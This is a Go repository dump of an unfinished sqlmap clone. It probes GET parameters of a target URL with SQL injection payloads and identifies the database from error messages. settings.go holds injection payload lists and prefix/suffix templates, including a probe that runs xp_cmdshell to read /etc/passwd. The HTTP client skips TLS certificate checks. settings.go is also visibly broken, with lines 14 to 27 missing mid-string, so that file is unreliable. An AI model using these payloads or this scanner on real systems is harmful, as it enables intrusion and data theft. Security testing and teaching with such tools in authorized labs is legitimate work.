├── .gitignore
├── .idea
├── .gitignore
├── misc.xml
├── modules.xml
├── sqlmap.iml
└── vcs.xml
├── README.md
├── go.mod
├── go.sum
├── picture
└── image-20200612110801081.png
└── tools
├── basicCheck.go
├── checkIsSamePage.go
├── genPayload.go
├── globalLogger.go
├── heuristicCheckSqlInjection.go
├── request.go
├── request_test.go
├── settings.go
├── start.go
└── xml
└── errors.xml
/.gitignore:
--------------------------------------------------------------------------------
1 | # Created by .ignore support plugin (hsz.mobi)
2 | ### Example user template template
3 | ### Example user template
4 |
5 | # IntelliJ project files
6 | .idea
7 | *.iml
8 | out
9 | gen
10 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/sqlmap.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## golang 实现 sqlmap
2 |
3 | ### 目前已实现:
4 |
5 | 1. 页面相似度算法
6 |
7 | 2. url连接性检测
8 | 3. url稳定性检测
9 | 4. 基于报错的启发式检测
10 | 5. DBMS识别
11 |
12 | 截图:
13 | 
14 |
15 | ### 本项目由于工作计划原因,更新中断,21年将继续完成。
16 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module sqlmap
2 |
3 | go 1.12
4 |
5 | require (
6 | github.com/beevik/etree v1.1.0
7 | github.com/valyala/fasthttp v1.14.0
8 | )
9 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/andybalholm/brotli v1.0.0 h1:7UCwP93aiSfvWpapti8g88vVVGp2qqtGyePsSuDafo4=
2 | github.com/andybalholm/brotli v1.0.0/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y=
3 | github.com/beevik/etree v1.1.0 h1:T0xke/WvNtMoCqgzPhkX2r4rjY3GDZFi+FjpRZY2Jbs=
4 | github.com/beevik/etree v1.1.0/go.mod h1:r8Aw8JqVegEf0w2fDnATrX9VpkMcyFeM0FhwO62wh+A=
5 | github.com/klauspost/compress v1.10.4 h1:jFzIFaf586tquEB5EhzQG0HwGNSlgAJpG53G6Ss11wc=
6 | github.com/klauspost/compress v1.10.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
7 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
8 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
9 | github.com/valyala/fasthttp v1.14.0 h1:67bfuW9azCMwW/Jlq/C+VeihNpAuJMWkYPBig1gdi3A=
10 | github.com/valyala/fasthttp v1.14.0/go.mod h1:ol1PCaL0dX20wC0htZ7sYCsvCYmrouYra0zHzaclZhE=
11 | github.com/valyala/tcplisten v0.0.0-20161114210144-ceec8f93295a/go.mod h1:v3UYOV9WzVtRmSR+PDvWpU/qWl4Wa5LApYYX4ZtKbio=
12 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
13 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e h1:3G+cUijn7XD+S4eJFddp53Pv7+slrESplyjG25HgL+k=
14 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
15 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
16 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
17 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
18 |
--------------------------------------------------------------------------------
/picture/image-20200612110801081.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jweny/gosqlmap/96056ba2d27e0f793324c5f1d15c837e799cdfd6/picture/image-20200612110801081.png
--------------------------------------------------------------------------------
/tools/basicCheck.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "math/rand"
5 | "net/url"
6 | "strings"
7 | "time"
8 | )
9 |
10 | var baseData SinglePageBaseData
11 | var source = rand.New(rand.NewSource(time.Now().UnixNano()))
12 |
13 | func init() {
14 |
15 | }
16 |
17 | // 连接性
18 | func checkConnect(conf *ReqConf) (bool, error) {
19 | Info.Println("testing connection to the target URL")
20 | statusCode, body, err := httpDoTimeout(conf)
21 | if err != nil {
22 | Error.Println("error while connect to:", conf.url, "error:", err)
23 | return false, err
24 | }
25 | if statusCode == 200 {
26 | baseData = SinglePageBaseData{
27 | BaseStatusCode: statusCode,
28 | BaseBodyLength: len(body),
29 | BaseBody: body,
30 | }
31 | Info.Println(conf.url, "can connect")
32 | return true, nil
33 | }
34 | Warning.Println(conf.url, "can not connect")
35 | return false, nil
36 | }
37 |
38 | // 稳定性
39 | func checkStability(conf *ReqConf) (bool, error) {
40 | Info.Println("testing if the target URL content is stable")
41 | secondStatusCode, secondBody, err := httpDoTimeout(conf)
42 | isStability := false
43 | if err != nil {
44 | Error.Println("error while check stability to:", conf.url, "error:", err)
45 | return false, err
46 | }
47 | if secondStatusCode == baseData.BaseStatusCode && checkIsSamePage(secondBody) {
48 | isStability = true
49 | Info.Println(conf.url, "content is stable")
50 | } else {
51 | // 再尝试一次
52 | thirdStatusCode, thirdBody, err := httpDoTimeout(conf)
53 | if err != nil {
54 | Error.Println("error while check stability to:", conf.url, "error:", err)
55 | return false, err
56 | }
57 | if thirdStatusCode == baseData.BaseStatusCode && checkIsSamePage(thirdBody) {
58 | isStability = true
59 | Info.Println(conf.url, "content is stable")
60 | } else {
61 | Warning.Println(conf.url, "content is not stable")
62 | }
63 | }
64 | return isStability, nil
65 | }
66 |
67 | func getAllGetParams(conf *ReqConf) (url.Values, error) {
68 | targetUrl, err := url.Parse(conf.url)
69 | if err != nil {
70 | return nil, err
71 | }
72 | paramMap, err := url.ParseQuery(targetUrl.RawQuery)
73 | if err != nil {
74 | return nil, err
75 | }
76 | return paramMap, nil
77 | }
78 |
79 | func checkParamIsDynamic(conf *ReqConf) (url.Values, error) {
80 | paramMap, err := getAllGetParams(conf)
81 | Info.Println("testing parameters is dynamic")
82 | if err != nil {
83 | return nil, err
84 | }
85 | dynamicList := make(url.Values)
86 | // 遍历参数 替换payload尝试...
87 | if len(paramMap) == 0 {
88 | Warning.Println("not found any param")
89 | } else {
90 | // 遍历每一个参数
91 | for key, value := range paramMap {
92 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+genRandom4Num(source), 1)
93 | currentConf := ReqConf{url: currentUrl}
94 | _, currentBody, err := httpDoTimeout(¤tConf)
95 | if err != nil {
96 | Error.Println(err)
97 | }
98 | flag := checkIsSamePage(currentBody)
99 | if flag == false {
100 | Info.Println("GET parameter", key, "appears to be dynamic")
101 | dynamicList[key] = value
102 | }
103 | }
104 | }
105 | return dynamicList, nil
106 | }
107 |
108 | //payload 替换掉第一个参数 waf条件: samePage为假 && 页面包含关键词
109 | func checkWaf(conf *ReqConf) (bool, error) {
110 | Info.Println("checking if the target is protected by some kind of WAF/IPS")
111 | paramMap, err := getAllGetParams(conf)
112 | Info.Println("testing parameters is dynamic")
113 | if err != nil {
114 | return false, err
115 | }
116 | for key, value := range paramMap {
117 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+IPS_WAF_CHECK_PAYLOAD, 1)
118 | currentConf := ReqConf{url: currentUrl}
119 | _, currentBody, err := httpDoTimeout(¤tConf)
120 | for _, wafKeyword := range WAF_CHECK_KEYWORD {
121 | if strings.Contains(string(currentBody), wafKeyword) {
122 | Warning.Println("\"heuristics detected that the target is protected by some kind of WAF/IPS")
123 | Warning.Println("stop to continue with further target testing")
124 | return true, nil
125 | }
126 | }
127 | if err != nil {
128 | Error.Println(err)
129 | }
130 | break
131 | }
132 | return false, nil
133 | }
134 |
--------------------------------------------------------------------------------
/tools/checkIsSamePage.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | // return the len of longest string both in str1 and str2 and the positions in str1 and str2
4 | func SimilarStr(str1 []rune, str2 []rune) (int, int, int) {
5 | var sameLen, tmp, pos1, pos2 = 0, 0, 0, 0
6 | len1, len2 := len(str1), len(str2)
7 | for p := 0; p < len1; p++ {
8 | for q := 0; q < len2; q++ {
9 | tmp = 0
10 | for p+tmp < len1 && q+tmp < len2 && str1[p+tmp] == str2[q+tmp] {
11 | tmp++
12 | }
13 | if tmp > sameLen {
14 | sameLen, pos1, pos2 = tmp, p, q
15 | }
16 | }
17 | }
18 | return sameLen, pos1, pos2
19 | }
20 |
21 | // return the total length of longest string both in str1 and str2
22 | func SimilarChar(str1 []rune, str2 []rune) int {
23 | maxLen, pos1, pos2 := SimilarStr(str1, str2)
24 | total := maxLen
25 | if maxLen != 0 {
26 | if pos1 > 0 && pos2 > 0 {
27 | total += SimilarChar(str1[:pos1], str2[:pos2])
28 | }
29 | if pos1+maxLen < len(str1) && pos2+maxLen < len(str2) {
30 | total += SimilarChar(str1[pos1+maxLen:], str2[pos2+maxLen:])
31 | }
32 | }
33 | return total
34 | }
35 |
36 | // return a int value in [0, 1], which stands for match level
37 | func SimilarText(str1 string, str2 string) float64 {
38 | txt1, txt2 := []rune(str1), []rune(str2)
39 | if len(txt1) == 0 || len(txt2) == 0 {
40 | return 0
41 | }
42 | totalLength := float64(SimilarChar(txt1, txt2))
43 | return totalLength * 2 / float64(len(txt1) + len(txt2))
44 | }
45 |
46 | func checkIsSamePage(currentBody []byte) bool{
47 | currentHTML := string(currentBody)
48 | baseHTML := string(baseData.BaseBody)
49 | isSamePage := false
50 | // 先计算PageRatio
51 | ratio := SimilarText(currentHTML,baseHTML)
52 | if ratio > UPPER_RATIO_BOUND {
53 | isSamePage = true
54 | }
55 | return isSamePage
56 | }
--------------------------------------------------------------------------------
/tools/genPayload.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "fmt"
5 | "github.com/beevik/etree"
6 | "math/rand"
7 | "strings"
8 | )
9 |
10 | func genRandom4Num(source *rand.Rand) string {
11 | return fmt.Sprintf("%04v", source.Int31n(10000))
12 | }
13 |
14 | func genRandomStr(length int, lowercase bool, alphabet string) string{
15 | b := make([]byte, length)
16 | for i := range b {
17 | b[i] = alphabet[rand.Intn(len(alphabet))]
18 | }
19 | result := string(b)
20 | if lowercase{
21 | return strings.ToLower(result)
22 | }
23 | return result
24 | }
25 |
26 | func genHeuristicCheckPayload() string {
27 | payload := genRandomStr(10,false,HEURISTIC_CHECK_ALPHABET)
28 | if strings.Count(payload,"\"") !=1 || strings.Count(payload,"'") !=1 {
29 | payload = genHeuristicCheckPayload()
30 | }
31 | return payload
32 | }
33 |
34 | // 解析xml的话 应该只执行一次 xml --> map
35 | func genDbmsErrorFromXml() map[string]string {
36 | dbmsErrorKeywordList := make(map[string]string)
37 | doc := etree.NewDocument()
38 | if err := doc.ReadFromFile("xml/errors.xml"); err != nil {
39 | panic(err)
40 | }
41 | root := doc.SelectElement("root")
42 | for _, dbms := range root.SelectElements("dbms") {
43 | for _, dbName := range dbms.Attr {
44 | for _ , e := range dbms.SelectElements("error"){
45 | for _ , errWord := range e.Attr{
46 | //log.Println(dbName.Value,errWord.Value)
47 | dbmsErrorKeywordList[errWord.Value] = dbName.Value
48 | }
49 | }
50 | }
51 | }
52 | return dbmsErrorKeywordList
53 | }
54 |
--------------------------------------------------------------------------------
/tools/globalLogger.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "log"
5 | "os"
6 | )
7 |
8 | var (
9 | Info *log.Logger
10 | Warning *log.Logger
11 | Error * log.Logger
12 | Payload * log.Logger
13 | Debug * log.Logger
14 | TrafficOut * log.Logger
15 | )
16 |
17 | func init(){
18 | Debug = log.New(os.Stdout,"[DEBUG] ",log.Ldate | log.Ltime | log.Lshortfile)
19 | TrafficOut = log.New(os.Stdout,"[TRAFFIC OUT] ",log.Ldate | log.Ltime | log.Lshortfile)
20 | Info = log.New(os.Stdout,"[INFO] ",log.Ldate | log.Ltime | log.Lshortfile)
21 | Warning = log.New(os.Stdout,"[WARNING] ",log.Ldate | log.Ltime | log.Lshortfile)
22 | Error = log.New(os.Stderr,"[ERROR] ",log.Ldate | log.Ltime | log.Lshortfile)
23 | Payload = log.New(os.Stderr,"[PAYLOAD] ",log.Ldate | log.Ltime | log.Lshortfile)
24 | }
25 |
--------------------------------------------------------------------------------
/tools/heuristicCheckSqlInjection.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "regexp"
5 | "strings"
6 | )
7 |
8 |
9 | var dbmsErrorKeyword map[string]string
10 |
11 | // 启发式检测sql注入:发包尝试让Web应用报错,目的为探测该参数点是否是动态的、是否为可能的注入点
12 | func heuristicCheckSqlInjection(conf *ReqConf) (string, string, error){
13 | // error based 生成字典
14 | dbmsErrorKeyword = genDbmsErrorFromXml()
15 |
16 | dynamicParams, err := checkParamIsDynamic(conf)
17 | if err != nil{
18 | return "", "", err
19 | }
20 | if len(dynamicParams) == 0 {
21 | return "", "", err
22 | }
23 | // 遍历每一个动态参数
24 | for key, value := range dynamicParams {
25 | // 生成payload 用于报错
26 | payload := genHeuristicCheckPayload()
27 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+value[0]+payload, 1)
28 | currentConf := ReqConf{url: currentUrl}
29 | _, currentBody, err := httpDoTimeout(¤tConf)
30 | if err != nil {
31 | Error.Println(err)
32 | return "", "",nil
33 | }
34 | flag := checkIsSamePage(currentBody)
35 | if flag == false {
36 | Payload.Println(currentUrl)
37 | dbms := getDBMSBasedOnErrors(currentBody)
38 | if dbms != ""{
39 | Info.Println("heuristic (basic) test shows that GET parameter", key, "might be injectable, possible DBMS:", dbms)
40 | return key, dbms, nil
41 | }
42 | }
43 | }
44 | return "", "", nil
45 | }
46 |
47 | // 正则匹配出数据库类型
48 | func getDBMSBasedOnErrors(currentBody []byte) string {
49 | for key , value := range dbmsErrorKeyword{
50 | match, _ := regexp.MatchString(key, string(currentBody))
51 | if match == true{
52 | Debug.Println(key, value)
53 | return value
54 | }
55 | }
56 | return ""
57 | }
58 |
59 |
--------------------------------------------------------------------------------
/tools/request.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "crypto/tls"
5 | "fmt"
6 | "github.com/valyala/fasthttp"
7 | "net"
8 | "strings"
9 | "time"
10 | )
11 | type ReqConf struct {
12 | url string
13 | method string
14 | data string
15 | cookies map[string]interface{}
16 | }
17 |
18 | type SinglePageBaseData struct {
19 | BaseBody []byte
20 | BaseBodyLength int
21 | BaseStatusCode int
22 | }
23 |
24 | //
25 | //type Result struct {
26 | // method string
27 | // paramMap url.Values
28 | // isConnect bool
29 | // isStability bool
30 | //}
31 |
32 | var UPPER_RATIO_BOUND = 0.98
33 | var LOWER_RATIO_BOUND = 0.02
34 | var DIFF_TOLERANCE = 0.05
35 |
36 | var REQUEST_NUMBER = 0
37 |
38 | var scriptUserAgent = "Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0"
39 |
40 | var httpClient = fasthttp.Client{
41 | Name: scriptUserAgent,
42 | ReadTimeout: 20 * time.Second,
43 | WriteTimeout: 20 * time.Second,
44 | MaxResponseBodySize: 1024 * 1024 * 2,
45 | DisableHeaderNamesNormalizing: true,
46 | Dial: func(addr string) (net.Conn, error) {
47 | return fasthttp.DialTimeout(addr, 5*time.Second)
48 | },
49 | TLSConfig: &tls.Config{
50 | // 不验证 ssl 证书,可能存在风险
51 | InsecureSkipVerify: true,
52 | },
53 | }
54 |
55 | //var goHTTPClient = http.Client{
56 | // Timeout: 10 * time.Second,
57 | //}
58 |
59 | // GetOriginalBody 返回未压缩的 Body
60 | func GetOriginalBody(response *fasthttp.Response) ([]byte, error) {
61 | contentEncoding := strings.ToLower(string(response.Header.Peek("Content-Encoding")))
62 | var body []byte
63 | var err error
64 | switch contentEncoding {
65 | case "", "none", "identity":
66 | body, err = response.Body(), nil
67 | case "gzip":
68 | body, err = response.BodyGunzip()
69 | case "deflate":
70 | body, err = response.BodyInflate()
71 | default:
72 | // TODO: support `br`
73 | body, err = []byte{}, fmt.Errorf("unsupported Content-Encoding: %v", contentEncoding)
74 | }
75 | return body, err
76 | }
77 |
78 | // httpDoTimeout 提供http 请求,返回 响应码 body 和 错误
79 | func httpDoTimeout(conf *ReqConf) (int, []byte, error) {
80 | // count request
81 | REQUEST_NUMBER = REQUEST_NUMBER + 1
82 |
83 | request := fasthttp.AcquireRequest()
84 | response := fasthttp.AcquireResponse()
85 | defer fasthttp.ReleaseRequest(request)
86 | defer fasthttp.ReleaseResponse(response)
87 | request.SetRequestURI(conf.url)
88 | request.Header.SetMethod(conf.method)
89 | //todo 加个随机UA
90 | request.Header.SetUserAgent("Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0")
91 |
92 | request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
93 | if conf.cookies != nil {
94 | for key, v := range conf.cookies {
95 | request.Header.SetCookie(key, v.(string))
96 | }
97 | }
98 | err := httpClient.DoTimeout(request, response, 10*time.Second)
99 | //TrafficOut.Println("HTTP request",REQUEST_NUMBER,"\n",request.Header.String())
100 | if err != nil {
101 | return 0, nil, err
102 | }
103 | body, err := GetOriginalBody(response)
104 | //TrafficOut.Println("HTTP response",REQUEST_NUMBER,"\n",response.Header.String())
105 | return response.StatusCode(), body, err
106 | }
--------------------------------------------------------------------------------
/tools/request_test.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | import (
4 | "testing"
5 | )
6 |
7 | func Test(t *testing.T) {
8 | config := ReqConf{url: "http://192.168.102.135/Less-1/?id=1&name=haha&pass=hehe"}
9 | start(&config)
10 | }
11 |
--------------------------------------------------------------------------------
/tools/settings.go:
--------------------------------------------------------------------------------
1 | package tools
2 |
3 | var payloads = []string{
4 | "'", "')", "';", "\"", "\")", "order by 5 %23--", "\";", "--", "-0", ") AND 1998=1532 AND (5526=5526",
5 | " AND 5434=5692%23", " %' AND 5268=2356 AND '%'='", " ') AND 6103=4103 AND ('vPKl'='vPKl", " ' AND 7738=8291 AND 'UFqV'='UFqV",
6 | "`", "`)", "`;", "\\\\", "%27", "%%2727", "%25%27", "%60", "%5C"}
7 |
8 | var FORMAT_EXCEPTION_STRINGS = []string{"Type mismatch",
9 | "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert",
10 | "unable to interpret text value", "Input string was not in a correct format", "System.FormatException",
11 | "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER",
12 | "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type",
13 | "Attribute validation error for tag", "is not of type numeric", "',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
28 |
29 | var GENERIC_PROTECTION_KEYWORDS = []string{}
30 |
31 | //前缀与后缀
32 | //需要获取5个对象
33 | //RADNSTR # 随机字符串 4字节
34 | //RANDNUM # 随机数字 随便
35 | //RANDSTR1# 随机字符串 4字节后面修改
36 | //RANDSTR2# 同上
37 | //ORIGINAL# 获取url中的传递参数值
38 |
39 | //var pre_suf = {
40 | //'pre_suf_1': {'prefix': ')',
41 | //'suffix': '('},
42 | //
43 | //'pre_suf_2': {'prefix': '))',
44 | //'suffix': '(('},
45 | //
46 | //'pre_suf_3': {'prefix': "')",
47 | //'suffix': "('"},
48 | //
49 | //'pre_suf_4': {'prefix': '"',
50 | //'suffix': '"'},
51 | //
52 | //'pre_suf_5': {'prefix': "'",
53 | //'suffix': "'"},
54 | //
55 | //'pre_suf_6': {'prefix': '")',
56 | //'suffix': '("'},
57 | //
58 | //'pre_suf_7': {'prefix': ')"',
59 | //'suffix': '"('},
60 | //
61 | //'pre_suf_8': {'prefix': ")'",
62 | //'suffix': "('"},
63 | //
64 | //'pre_suf_9': {'prefix': ')))',
65 | //'suffix': '((('},
66 | //
67 | //'pre_suf_10': {'prefix': ')',
68 | //'suffix': '%23'},
69 | //
70 | //'pre_suf_11': {'prefix': ')',
71 | //'suffix': '--+'},
72 | //
73 | //'pre_suf_12': {'prefix': "')",
74 | //'suffix': '%23'},
75 | //
76 | //'pre_suf_13': {'prefix': "')",
77 | //'suffix': '--+'},
78 | //
79 | //'pre_suf_14': {'prefix': '"',
80 | //'suffix': '%23'},
81 | //
82 | //'pre_suf_15': {'prefix': '"',
83 | //'suffix': '--+'},
84 | //
85 | //'pre_suf_16': {'prefix': "'",
86 | //'suffix': "--+"},
87 | //
88 | //'pre_suf_17': {'prefix': ')',
89 | //'suffix': ' AND ([RANDNUM]=[RANDNUM]'},
90 | //
91 | //'pre_suf_18': {'prefix': '))',
92 | //'suffix': ' AND (([RANDNUM]=[RANDNUM]'},
93 | //
94 | //'pre_suf_19': {'prefix': ')))',
95 | //'suffix': '( AND ((([RANDNUM]=[RANDNUM]'},
96 | //
97 | //'pre_suf_20': {'prefix': "')",
98 | //'suffix': " AND ('[RANDSTR]'='[RANDSTR]"},
99 | //
100 | //'pre_suf_21': {'prefix': "'))",
101 | //'suffix': " AND (('[RANDSTR]'='[RANDSTR]"},
102 | //
103 | //'pre_suf_22': {'prefix': "')))",
104 | //'suffix': " AND ((('[RANDSTR]'='[RANDSTR]"},
105 | //
106 | //'pre_suf_23': {'prefix': "'",
107 | //'suffix': " AND '[RANDSTR]'='[RANDSTR]"},
108 | //
109 | //'pre_suf_24': {'prefix': "')",
110 | //'suffix': " AND ('[RANDSTR]' LIKE '[RANDSTR]"},
111 | //
112 | //'pre_suf_25': {'prefix': "'))",
113 | //'suffix': " AND (('[RANDSTR]' LIKE '[RANDSTR]"},
114 | //
115 | //'pre_suf_26': {'prefix': "')))",
116 | //'suffix': " AND ((('[RANDSTR]' LIKE '[RANDSTR]"},
117 | //
118 | //'pre_suf_27': {'prefix': '")',
119 | //'suffix': ' AND ("[RANDSTR]"="[RANDSTR]'},
120 | //
121 | //'pre_suf_28': {'prefix': '"))',
122 | //'suffix': ' AND (("[RANDSTR]"="[RANDSTR]'},
123 | //
124 | //'pre_suf_29': {'prefix': '")))',
125 | //'suffix': ' AND ((("[RANDSTR]"="[RANDSTR]'},
126 | //
127 | //'pre_suf_30': {'prefix': '"',
128 | //'suffix': ' AND "[RANDSTR]"="[RANDSTR]'},
129 | //
130 | //'pre_suf_31': {'prefix': '")',
131 | //'suffix': ' AND ("[RANDSTR]" LIKE "[RANDSTR]'},
132 | //
133 | //'pre_suf_32': {'prefix': '"))',
134 | //'suffix': ' AND (("[RANDSTR]" LIKE "[RANDSTR]'},
135 | //
136 | //'pre_suf_33': {'prefix': '")))',
137 | //'suffix': ' AND ((("[RANDSTR]" LIKE "[RANDSTR]'},
138 | //
139 | //'pre_suf_34': {'prefix': '"',
140 | //'suffix': ' AND "[RANDSTR]" LIKE "[RANDSTR]'},
141 | //
142 | //'pre_suf_35': {'prefix': ' ',
143 | //'suffix': '# [RANDSTR]'},
144 | //
145 | //'pre_suf_36': {'prefix': ' ',
146 | //'suffix': '%23'},
147 | //
148 | //'pre_suf_38': {'prefix': "'",
149 | //'suffix': " OR '[RANDSTR1]'='[RANDSTR2]"},
150 | //
151 | //'pre_suf_39': {'prefix': "') WHERE [RANDNUM]=[RANDNUM]",
152 | //'suffix': '%23'},
153 | //
154 | //'pre_suf_40': {'prefix': "') WHERE [RANDNUM]=[RANDNUM]",
155 | //'suffix': '--+'},
156 | //
157 | //'pre_suf_41': {'prefix': '") WHERE [RANDNUM]=[RANDNUM]',
158 | //'suffix': '%23'},
159 | //
160 | //'pre_suf_42': {'prefix': '") WHERE [RANDNUM]=[RANDNUM]',
161 | //'suffix': '--+'},
162 | //
163 | //'pre_suf_43': {'prefix': ') WHERE [RANDNUM]=[RANDNUM]',
164 | //'suffix': '%23'},
165 | //
166 | //'pre_suf_44': {'prefix': ') WHERE [RANDNUM]=[RANDNUM]',
167 | //'suffix': '--+'},
168 | //
169 | //'pre_suf_45': {'prefix': "' WHERE [RANDNUM]=[RANDNUM]",
170 | //'suffix': '%23'},
171 | //
172 | //'pre_suf_46': {'prefix': "' WHERE [RANDNUM]=[RANDNUM]",
173 | //'suffix': '--+'},
174 | //
175 | //'pre_suf_47': {'prefix': '" WHERE [RANDNUM]=[RANDNUM]',
176 | //'suffix': '%23'},
177 | //
178 | //'pre_suf_48': {'prefix': '" WHERE [RANDNUM]=[RANDNUM]',
179 | //'suffix': '--+'},
180 | //
181 | //'pre_suf_49': {'prefix': ' WHERE [RANDNUM]=[RANDNUM]',
182 | //'suffix': '%23'},
183 | //
184 | //'pre_suf_50': {'prefix': ' WHERE [RANDNUM]=[RANDNUM]',
185 | //'suffix': '--+'},
186 | //
187 | //'pre_suf_51': {'prefix': "'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]",
188 | //'suffix': "||'"},
189 | //
190 | //'pre_suf_52': {'prefix': "'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]",
191 | //'suffix': "||'"},
192 | //
193 | //'pre_suf_53': {'prefix': "'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]",
194 | //'suffix': "+'"},
195 | //
196 | //'pre_suf_54': {'prefix': "||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]",
197 | //'suffix': '||'},
198 | //
199 | //'pre_suf_55': {'prefix': "||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]",
200 | //'suffix': '||'},
201 | //
202 | //'pre_suf_56': {'prefix': '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
203 | //'suffix': '+'},
204 | //
205 | //'pre_suf_57': {'prefix': "+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]",
206 | //'suffix': '+'},
207 | //
208 | //'pre_suf_58': {'prefix': "')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]",
209 | //'suffix': '%23'},
210 | //
211 | //'pre_suf_59': {'prefix': "')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]",
212 | //'suffix': '--+'},
213 | //
214 | //'pre_suf_60': {'prefix': '")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
215 | //'suffix': '%23'},
216 | //
217 | //'pre_suf_61': {'prefix': '")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
218 | //'suffix': '--+'},
219 | //
220 | //'pre_suf_62': {'prefix': ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
221 | //'suffix': '%23'},
222 | //
223 | //'pre_suf_63': {'prefix': ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
224 | //'suffix': '--+'},
225 | //
226 | //'pre_suf_64': {'prefix': "') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]",
227 | //'suffix': '%23'},
228 | //
229 | //'pre_suf_65': {'prefix': "') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]",
230 | //'suffix': '--+'},
231 | //
232 | //'pre_suf_66': {'prefix': '") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
233 | //'suffix': '%23'},
234 | //
235 | //'pre_suf_67': {'prefix': '") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
236 | //'suffix': '--+'},
237 | //
238 | //'pre_suf_68': {'prefix': ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
239 | //'suffix': '%23'},
240 | //
241 | //'pre_suf_69': {'prefix': ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]',
242 | //'suffix': '--+'},
243 | //
244 | //'pre_suf_70': {'prefix': '` WHERE [RANDNUM]=[RANDNUM]',
245 | //'suffix': '--+'},
246 | //
247 | //'pre_suf_71': {'prefix': '` WHERE [RANDNUM]=[RANDNUM]',
248 | //'suffix': '%23'},
249 | //
250 | //'pre_suf_72': {'prefix': '`) WHERE [RANDNUM]=[RANDNUM]',
251 | //'suffix': '%23'},
252 | //
253 | //'pre_suf_73': {'prefix': '`) WHERE [RANDNUM]=[RANDNUM]',
254 | //'suffix': '--+'},
255 | //
256 | //'pre_suf_74': {'prefix': '`=`[ORIGINAL]`',
257 | //'suffix': ' AND `[ORIGINAL]`=`[ORIGINAL]'},
258 | //
259 | //'pre_suf_75': {'prefix': '"="[ORIGINAL]"',
260 | //'suffix': ' AND "[ORIGINAL]"="[ORIGINAL]'},
261 | //
